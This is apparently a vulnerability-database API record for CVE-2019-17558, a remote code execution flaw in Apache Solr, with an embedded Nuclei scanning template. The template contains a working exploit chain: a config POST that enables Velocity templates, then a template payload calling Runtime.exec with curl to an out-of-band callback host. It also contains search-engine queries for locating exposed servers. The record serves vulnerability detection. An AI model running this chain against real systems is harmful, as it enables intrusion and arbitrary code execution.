{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-17558/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-17558/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-17558/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-17558/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-17558/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-17558"},"sightings":{"href":"/api/v1/sightings/cve-2019-17558"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.98567,"kev":true,"percentile":0.99921},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-17558.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-17558\n\ninfo:\n  name: Apache Solr <=8.3.1 - Remote Code Execution\n  author: pikpikcu,madrobot\n  severity: high\n  description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).\n  impact: |\n    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.\n  reference:\n    - https://issues.apache.org/jira/browse/SOLR-13971\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-17558\n    - https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E\n    - http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html\n    - https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.5\n    cve-id: CVE-2019-17558\n    cwe-id: CWE-74\n    epss-score: 0.98567\n    epss-percentile: 0.99921\n    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 3\n    vendor: apache\n    product: solr\n    shodan-query:\n      - cpe:\"cpe:2.3:a:apache:solr\"\n      - http.title:\"apache solr\"\n      - http.title:\"solr admin\"\n    fofa-query:\n      - title=\"solr admin\"\n      - title=\"apache solr\"\n    google-query:\n      - intitle:\"apache solr\"\n      - intitle:\"solr admin\"\n  tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /solr/admin/cores?wt=json HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /solr/{{core}}/config HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n            \"update-queryresponsewriter\": {\n              \"startup\": \"lazy\",\n              \"name\": \"velocity\",\n              \"class\": \"solr.VelocityResponseWriter\",\n              \"template.base.dir\": \"\",\n              \"solr.resource.loader.enabled\": \"true\",\n              \"params.resource.loader.enabled\": \"true\"\n            }\n        }\n      - |\n        GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: core\n        group: 1\n        regex:\n          - '\"name\"\\:\"(.*?)\"'\n        internal: true\n# digest: 4b0a00483046022100d87b472ae7b762425eacca1c88de7439f8382ad41052608f7a0daa88c67474b1022100ba9a4bd94356a57a76b8ab3e354648088908b34f7cf81961864d4337f427ced0:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-17558"}